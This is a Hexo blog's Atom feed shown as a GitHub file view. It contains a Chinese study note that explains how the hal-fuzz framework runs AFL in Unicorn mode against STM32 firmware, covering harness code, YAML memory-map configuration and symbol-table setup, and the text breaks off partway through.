-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
518 lines (255 loc) · 865 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>FireKnight-HJ</title>
<link href="http://example.com/atom.xml" rel="self"/>
<link href="http://example.com/"/>
<updated>2023-01-09T15:52:11.371Z</updated>
<id>http://example.com/</id>
<author>
<name>fireknight</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>hal-fuzz学习笔记--part 1</title>
<link href="http://example.com/2023/01/09/hal-fuzz%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-part-1/"/>
<id>http://example.com/2023/01/09/hal-fuzz%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-part-1/</id>
<published>2023-01-09T15:50:11.000Z</published>
<updated>2023-01-09T15:52:11.371Z</updated>
<content type="html"><![CDATA[<h1 id="hal-fuzz学习笔记—part-1"><a href="#hal-fuzz学习笔记—part-1" class="headerlink" title="hal-fuzz学习笔记—part 1"></a>hal-fuzz学习笔记—part 1</h1><h2 id="关于-test-stm32-tcp-echo-sh"><a href="#关于-test-stm32-tcp-echo-sh" class="headerlink" title="关于 test_stm32_tcp_echo.sh"></a>关于 test_stm32_tcp_echo.sh</h2><p>看一下<code>test_stm32_tcp_echo.sh</code>的内容</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">!/bin/bash</span></span><br><span class="line"></span><br><span class="line">BINARY=./tests/stm32_tcp_echo/stm32_tcp_echo_server.yml</span><br><span class="line">INPUTS=./tests/stm32_tcp_echo/inputs</span><br><span class="line">OUTPUTS=./tests/stm32_tcp_echo/output/</span><br><span class="line">HARNESS="python -m hal_fuzz.harness -c $BINARY"</span><br><span class="line"><span class="meta">#</span><span class="bash">./afl-fuzz -U -m none -i <span class="variable">$INPUTS</span> -o <span class="variable">$OUTPUTS</span> -- <span class="variable">$HARNESS</span> @@</span></span><br><span class="line"><span class="meta">$</span><span class="bash">HARNESS <span class="variable">$INPUTS</span>/TCP_Echo_Server_Client.pcapng.input</span></span><br></pre></td></tr></table></figure><p>也就是使用afl运行的一个程序:</p><p>关键语句:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./afl-fuzz -U -m none -i $INPUTS -o $OUTPUTS -- $HARNESS @@</span><br></pre></td></tr></table></figure><p>其中</p><ul><li><code>-U</code>是使用了“Unicorn mode”,</li><li><code>-m</code>是子进程的内存限制,这里规定为 none ,</li><li><code>-i</code>是输入测试样例的目录,这里是 ./tests/stm32_tcp_echo/inputs</li><li><code>-o</code>是输出内容的目录,这里是 ./tests/stm32_tcp_echo/output/</li><li><code>--</code>之后跟着 python -m hal_fuzz.harness -c ./tests/stm32_tcp_echo/stm32_tcp_echo_server.yml @@,这个是 Unicorn 模式下的 test_harness 。</li></ul><blockquote><p>基于Unicorn的测试线束 Unicorn-based <strong>test harness</strong> which:</p><ul><li>添加内存映射区域</li><li>将二进制代码加载到内存</li><li>至少模拟一条指令 *<ul><li>是啊,这个描述很模糊。有关更多详细信息,请参见下面的“Gotchas(陷阱)”部分</li></ul></li><li>从命令行指定的文件加载并验证要fuzz的数据<ul><li>AFL将通过更改传递给测试工具的文件来提供变异输入</li><li>假定要模糊化的数据位于固定的缓冲器地址</li><li>如果输入约束(大小、无效的字节,等等)是已知的,应该在文件加载后对其进行检查。如果一个约束失败(错误了),退出测试工具。AFL将输入为“uninteresting”,继续前进。</li></ul></li><li>设置寄存器和内存状态(memory state)以开始测试</li><li>从头到尾模拟 interested 的代码</li><li>如果检测到crash,测试线束必须通过发出信号(SIGSEGV、SIGKILL、SIGABORT等)来产生“crash”</li></ul></blockquote><h2 id="关于test-harness"><a href="#关于test-harness" class="headerlink" title="关于test harness"></a>关于test harness</h2><p>看一下这个 test harness :</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -m hal_fuzz.harness -c ./tests/stm32_tcp_echo/stm32_tcp_echo_server.yml @@</span><br></pre></td></tr></table></figure><blockquote><p>python 的 -m选项:run library module as a script (terminates option list) 相当于import,叫做当做模块来启动</p></blockquote><h2 id="关于test-harness-main函数"><a href="#关于test-harness-main函数" class="headerlink" title="关于test_harness.main函数"></a>关于test_harness.main函数</h2><p>我们来看一看这个hal_fuzz下面这个harness.py文件,它的main里面有一些详细内容</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> parser = argparse.ArgumentParser(description=<span class="string">"HALFuzz execution harness"</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'input_file'</span>, <span class="built_in">type</span>=<span class="built_in">str</span>, <span class="built_in">help</span>=<span class="string">"Path to the file containing the mutated input to load"</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-s'</span>, <span class="string">'--single'</span>, default=<span class="literal">False</span>, action=<span class="string">'store_true'</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-d'</span>, <span class="string">'--debug'</span>, default=<span class="literal">False</span>, action=<span class="string">"store_true"</span>, <span class="built_in">help</span>=<span class="string">"Enables debug mode (required for -t and -M) (SLOW!)"</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-c'</span>, <span class="string">'--config'</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-M'</span>, <span class="string">'--trace-memory'</span>, default=<span class="literal">False</span>, action=<span class="string">"store_true"</span>, dest=<span class="string">'trace_memory'</span>,</span><br><span class="line"> <span class="built_in">help</span>=<span class="string">"Enables memory tracing"</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-t'</span>, <span class="string">'--trace-funcs'</span>, dest=<span class="string">'trace_funcs'</span>, default=<span class="literal">False</span>, action=<span class="string">'store_true'</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-l'</span>, <span class="string">'--instr-limit'</span>, dest=<span class="string">'instr_limit'</span>, <span class="built_in">type</span>=<span class="built_in">int</span>, default=globs.DEFAULT_BASIC_BLOCK_LIMIT, <span class="built_in">help</span>=<span class="string">"Maximum number of instructions to execute. 0: no limit. Default: {:d}"</span>.<span class="built_in">format</span>(globs.DEFAULT_BASIC_BLOCK_LIMIT))</span><br><span class="line"> parser.add_argument(<span class="string">'-n'</span>, <span class="string">'--use-native'</span>, dest=<span class="string">'use_native'</span>, default=<span class="literal">True</span>, action=<span class="string">'store_true'</span>)</span><br><span class="line"> parser.add_argument(<span class="string">"-b"</span>, <span class="string">'--breakpoint'</span>, dest=<span class="string">'breakpoint'</span>, <span class="built_in">type</span>=auto_int)</span><br><span class="line"> parser.add_argument(<span class="string">'--native-lib'</span>, dest=<span class="string">'native_lib'</span>, default=os.path.dirname(os.path.realpath(__file__))+<span class="string">'/native/native_hooks.so'</span>, <span class="built_in">help</span>=<span class="string">"Specify the path of the native library"</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'--mmio-trace-out'</span>, dest=<span class="string">'mmio_trace_file'</span>, default=<span class="literal">None</span>)<span class="comment">#, type=argparse.FileType("w"))</span></span><br><span class="line"> parser.add_argument(<span class="string">'--ram-trace-out'</span>, dest=<span class="string">'ram_trace_file'</span>, default=<span class="literal">None</span>)<span class="comment">#, type=argparse.FileType("w"))</span></span><br><span class="line"> parser.add_argument(<span class="string">'--bb-trace-out'</span>, dest=<span class="string">'bb_trace_file'</span>, default=<span class="literal">None</span>)<span class="comment">#, type=argparse.FileType("w"))</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> args = parser.parse_args()</span><br><span class="line"> globs.input_file_name = os.path.basename(args.input_file)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> args.use_native:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Not using native mode is no longer supported"</span>)</span><br><span class="line"> exit(-<span class="number">1</span>)</span><br><span class="line"><span class="comment"># 设置一个default的基本块限制</span></span><br><span class="line"> <span class="comment"># In case tracing is requested but a basic block limit is not set, set a limit anyways</span></span><br><span class="line"> <span class="keyword">if</span> (args.bb_trace_file <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span> <span class="keyword">or</span> args.ram_trace_file <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span> <span class="keyword">or</span> args.mmio_trace_file <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>) <span class="keyword">and</span> (args.instr_limit == <span class="number">0</span> <span class="keyword">or</span> args.instr_limit == globs.DEFAULT_BASIC_BLOCK_LIMIT):</span><br><span class="line"> args.instr_limit = <span class="number">1</span><<<span class="number">20</span></span><br><span class="line"></span><br><span class="line"> globs.debug_enabled = args.debug</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 在configure中设置这些use case</span></span><br><span class="line"> uc = configure_unicorn(args)</span><br><span class="line"> globs.uc = uc</span><br><span class="line"></span><br><span class="line"> <span class="comment">#-----------------------------------------------------</span></span><br><span class="line"> <span class="comment"># Emulate 1 instruction to kick off AFL's fork server</span></span><br><span class="line"> <span class="comment"># THIS MUST BE DONE BEFORE LOADING USER DATA! </span></span><br><span class="line"> <span class="comment"># If this isn't done every single run, the AFL fork server </span></span><br><span class="line"> <span class="comment"># will not be started appropriately and you'll get erratic results!</span></span><br><span class="line"> <span class="comment"># It doesn't matter what this returns with, it just has to execute at</span></span><br><span class="line"> <span class="comment"># least one instruction in order to get the fork server started.</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># Execute 1 instruction just to startup the forkserver</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Starting the AFL forkserver by executing 1 instruction"</span>)</span><br><span class="line"><span class="comment"># 使用垃圾回收的库</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> python不会对已经销毁的对象所占据的内存做自动的释放内存空间的工作。</span></span><br><span class="line"><span class="string"> Python中,主要依靠gc(garbage collector)模块的引用计数技术来进行垃圾回收。所谓引用计数,就是考虑到Python中变量的本质不是内存中一块存储数据的区域,而是对一块内存数据区域的引用。所以python可以给所有的对象(内存中的区域)维护一个引用计数的属性,在一个引用被创建或复制的时候,让python,把相关对象的引用计数+1;相反当引用被销毁的时候就把相关对象的引用计数-1。当对象的引用计数减到0时,自然就可以认为整个python中不会再有变量引用这个对象,所以就可以把这个对象所占据的内存空间释放出来了。</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="comment"># Collect garbage once in order to avoid doing so while fuzzing</span></span><br><span class="line"> gc.collect()</span><br><span class="line"> <span class="comment"># gc.set_threshold(0, 0, 0)</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> uc.emu_start(uc.reg_read(UC_ARM_REG_PC)|<span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, count=<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"ERROR: Failed to execute a single instruction (error: {})!"</span>.<span class="built_in">format</span>(e))</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">#-----------------------------------------------</span></span><br><span class="line"> <span class="comment"># Load the mutated input and map it into memory</span></span><br><span class="line"> native.load_fuzz(args.input_file)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#------------------------------------------------------------</span></span><br><span class="line"> <span class="comment"># Emulate the code, allowing it to process the mutated input</span></span><br><span class="line"> <span class="keyword">if</span> args.single:</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> result = uc.emu_start(uc.reg_read(UC_ARM_REG_PC) | <span class="number">1</span>, <span class="number">0</span>, timeout=<span class="number">0</span>, count=<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Execution failed with error: {}"</span>.<span class="built_in">format</span>(e))</span><br><span class="line"> force_crash(e)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Executing until a crash"</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> result = uc.emu_start(uc.reg_read(UC_ARM_REG_PC)|<span class="number">1</span>, <span class="number">0</span>, timeout=<span class="number">0</span>, count=args.instr_limit)</span><br><span class="line"> <span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Execution failed with error: {}"</span>.<span class="built_in">format</span>(e))</span><br><span class="line"> force_crash(e)</span><br><span class="line"></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Done."</span>)</span><br><span class="line"> do_exit(<span class="number">0</span>)</span><br></pre></td></tr></table></figure><h2 id="关于test-harness-configure-unicorn函数"><a href="#关于test-harness-configure-unicorn函数" class="headerlink" title="关于test_harness.configure_unicorn函数"></a>关于test_harness.configure_unicorn函数</h2><p>这个是configure_unicorn函数,这个函数运行完成后产生uc对象,这个函数将args中的设置都设置入uc中</p><h3 id="yaml配置文件加载"><a href="#yaml配置文件加载" class="headerlink" title="yaml配置文件加载"></a>yaml配置文件加载</h3><p>加载配置文件部分内容如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">configure_unicorn</span>(<span class="params">args</span>):</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Loading configuration in %s"</span> % args.config)</span><br><span class="line"> <span class="comment"># 加载配置文件,即对应yaml文件</span></span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(args.config, <span class="string">'rb'</span>) <span class="keyword">as</span> infile:</span><br><span class="line"> config = yaml.load(infile, Loader=yaml.FullLoader)</span><br><span class="line"> <span class="comment"># 处理include,加载include中涉及的yaml文件</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'include'</span> <span class="keyword">in</span> config:</span><br><span class="line"> <span class="comment"># Merge config files listed in 'include' in listed order</span></span><br><span class="line"> <span class="comment"># Root file gets priority</span></span><br><span class="line"> newconfig = {}</span><br><span class="line"> <span class="keyword">for</span> f <span class="keyword">in</span> config[<span class="string">'include'</span>]:</span><br><span class="line"> <span class="comment"># Make configs relative to the including file</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> f.startswith(<span class="string">"/"</span>):</span><br><span class="line"> cur_dir = os.path.dirname(args.config)</span><br><span class="line"> f = os.path.abspath(os.path.join(cur_dir, f))</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\tIncluding configuration from %s"</span> % f)</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(f, <span class="string">'rb'</span>) <span class="keyword">as</span> infile:</span><br><span class="line"> _merge_dict(newconfig, yaml.load(infile, Loader=yaml.FullLoader))</span><br><span class="line"> _merge_dict(newconfig, config)</span><br><span class="line"> config = newconfig</span><br></pre></td></tr></table></figure><p>配置文件中include的内容</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">include:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">./../../configs/hw/cortexm_memory.yml</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">./../../configs/hals/stm32f4_hal.yml</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">./stm32_tcp_echo_server_addrs.yml</span></span><br></pre></td></tr></table></figure><h3 id="加载内存映射"><a href="#加载内存映射" class="headerlink" title="加载内存映射"></a>加载内存映射</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 是否有memory_map项目,加载内存映射</span></span><br><span class="line"> <span class="comment"># Step 2: Set up the memory map</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'memory_map'</span> <span class="keyword">not</span> <span class="keyword">in</span> config:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Memory Configuration must be in config file"</span>)</span><br><span class="line"> quit(-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># Create the unicorn 创建一个Unicorn对象,使用ARM架构,THUMB模式的指令集</span></span><br><span class="line"> <span class="comment"># <span class="doctag">TODO:</span> Parse the arch, using archinfo</span></span><br><span class="line"> uc = Uc(UC_ARCH_ARM, UC_MODE_THUMB | UC_MODE_MCLASS)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 读取memory_map部分的内容,将其中内容填入字典regions中格式为:{rname:(base_addr, size, 权限rwx)}</span></span><br><span class="line"> regions = {}</span><br><span class="line"> <span class="keyword">for</span> rname, region <span class="keyword">in</span> config[<span class="string">'memory_map'</span>].items():</span><br><span class="line"> prot = <span class="number">0</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'permissions'</span> <span class="keyword">in</span> region:</span><br><span class="line"> prot = <span class="number">7</span> <span class="comment"># UC_PROT_ALL</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'r'</span> <span class="keyword">in</span> region[<span class="string">'permissions'</span>]:</span><br><span class="line"> prot |= <span class="number">1</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'w'</span> <span class="keyword">in</span> region[<span class="string">'permissions'</span>]:</span><br><span class="line"> prot |= <span class="number">2</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'x'</span> <span class="keyword">in</span> region[<span class="string">'permissions'</span>]:</span><br><span class="line"> prot |= <span class="number">4</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Mapping region %s at %#08x, size %#08x, perms: %d"</span> % (rname, region[<span class="string">'base_addr'</span>], region[<span class="string">'size'</span>], prot))</span><br><span class="line"> regions[rname] = (region[<span class="string">'base_addr'</span>], region[<span class="string">'size'</span>], prot)</span><br><span class="line"> uc.mem_map(region[<span class="string">'base_addr'</span>], region[<span class="string">'size'</span>], prot)</span><br><span class="line"> <span class="comment"># 如果有file选项,这个file指明的是地址处要装载的二进制代码</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'file'</span> <span class="keyword">in</span> region:</span><br><span class="line"> file_offset = <span class="number">0</span></span><br><span class="line"> load_offset = <span class="number">0</span></span><br><span class="line"> file_size = region[<span class="string">'size'</span>]</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'file_offset'</span> <span class="keyword">in</span> region:</span><br><span class="line"> file_offset = region[<span class="string">'file_offset'</span>]</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'load_offset'</span> <span class="keyword">in</span> region:</span><br><span class="line"> load_offset = region[<span class="string">'load_offset'</span>]</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'file_size'</span> <span class="keyword">in</span> region:</span><br><span class="line"> file_size = region[<span class="string">'file_size'</span>]</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> region[<span class="string">'file'</span>].startswith(<span class="string">"/"</span>):</span><br><span class="line"> cur_dir = os.path.dirname(args.config)</span><br><span class="line"> f = os.path.join(cur_dir, region[<span class="string">'file'</span>])</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Using file %s, offset %#08x, load offset: %#08x, file_size: %#08x"</span> % (f, file_offset, load_offset, file_size))</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(f, <span class="string">'rb'</span>) <span class="keyword">as</span> fp:</span><br><span class="line"> fp.seek(file_offset)</span><br><span class="line"> region_data = fp.read(file_size)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Loading %#08x bytes at %#08x"</span> % (<span class="built_in">len</span>(region_data), region[<span class="string">'base_addr'</span>] + load_offset))</span><br><span class="line"> <span class="comment"># uc.mem_write跟4或2个参数,这里为(代码加载地址,代码内容比特串)</span></span><br><span class="line"> uc.mem_write(region[<span class="string">'base_addr'</span>] + load_offset, region_data)</span><br><span class="line"> globs.regions = regions</span><br><span class="line"></span><br><span class="line"> <span class="comment"># args.native_lib有设置默认值为:'/native/native_hooks.so',native为本地库</span></span><br><span class="line"> <span class="comment"># Native mmio fuzzing</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(args.native_lib):</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Native library %s does not exist!"</span> % args.native_lib)</span><br><span class="line"> exit(<span class="number">1</span>)</span><br><span class="line"> <span class="comment"># native模式是加载本地C库的hook</span></span><br><span class="line"> native.init(uc, args.native_lib, <span class="literal">False</span>, [], <span class="number">0</span>, <span class="literal">None</span>, [])</span><br></pre></td></tr></table></figure><p>配置文件中memory_map的内容</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在 cortexm_memory.yml 中,是基本的设置</span></span><br><span class="line"><span class="attr">memory_map:</span></span><br><span class="line"> <span class="attr">ram:</span> {<span class="attr">base_addr:</span> <span class="number">0x20000000</span>, <span class="attr">size:</span> <span class="number">0x00400000</span>, <span class="attr">permissions:</span> <span class="string">rwx</span>}</span><br><span class="line"> <span class="attr">mmio:</span> {<span class="attr">base_addr:</span> <span class="number">0x40000000</span>, <span class="attr">size:</span> <span class="number">0x10000000</span>, <span class="attr">permissions:</span> <span class="string">rw-</span>}</span><br><span class="line"> <span class="attr">nvic:</span> {<span class="attr">base_addr:</span> <span class="number">0xe0000000</span>, <span class="attr">size:</span> <span class="number">0x10000000</span>, <span class="attr">permissions:</span> <span class="string">rw-</span>}</span><br><span class="line"> <span class="attr">irq_ret:</span> {<span class="attr">base_addr:</span> <span class="number">0xfffff000</span>, <span class="attr">size:</span> <span class="number">0x1000</span>, <span class="attr">permissions:</span> <span class="string">rwx</span>} </span><br><span class="line"><span class="attr">initial_sp:</span> <span class="number">0x20014000</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 在主配置文件./tests/stm32_tcp_echo/stm32_tcp_echo_server.yml中,这个是我们加载了自己的二进制代码的地方,可以看到它们不可写,可执行</span></span><br><span class="line"><span class="attr">memory_map:</span></span><br><span class="line"> <span class="attr">ivt:</span> {<span class="attr">base_addr:</span> <span class="number">0x0</span>, <span class="attr">file:</span> <span class="string">./stm32_tcp_echo_server.bin</span>,</span><br><span class="line"> <span class="attr">permissions:</span> <span class="string">r-x</span>, <span class="attr">size:</span> <span class="number">0x800000</span>}</span><br><span class="line"> <span class="attr">rom:</span> {<span class="attr">base_addr:</span> <span class="number">0x08000000</span>, <span class="attr">file:</span> <span class="string">./stm32_tcp_echo_server.bin</span>,</span><br><span class="line"> <span class="attr">permissions:</span> <span class="string">r-x</span>, <span class="attr">size:</span> <span class="number">0x800000</span>}</span><br></pre></td></tr></table></figure><h3 id="符号表创建"><a href="#符号表创建" class="headerlink" title="符号表创建"></a>符号表创建</h3><p>将name->addr和addr->name的映射都创建出来,字典形式存储</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''符号表创建'''</span></span><br><span class="line">name_to_addr = {}</span><br><span class="line">addr_to_name = {}</span><br><span class="line"></span><br><span class="line"><span class="comment"># Create the symbol table</span></span><br><span class="line"><span class="keyword">if</span> <span class="string">'symbols'</span> <span class="keyword">in</span> config:</span><br><span class="line"> addr_to_name = {k&<span class="number">0xFFFFFFFE</span>: v <span class="keyword">for</span> k, v <span class="keyword">in</span> config[<span class="string">'symbols'</span>].items()}</span><br><span class="line"> name_to_addr = {v: k <span class="keyword">for</span> k, v <span 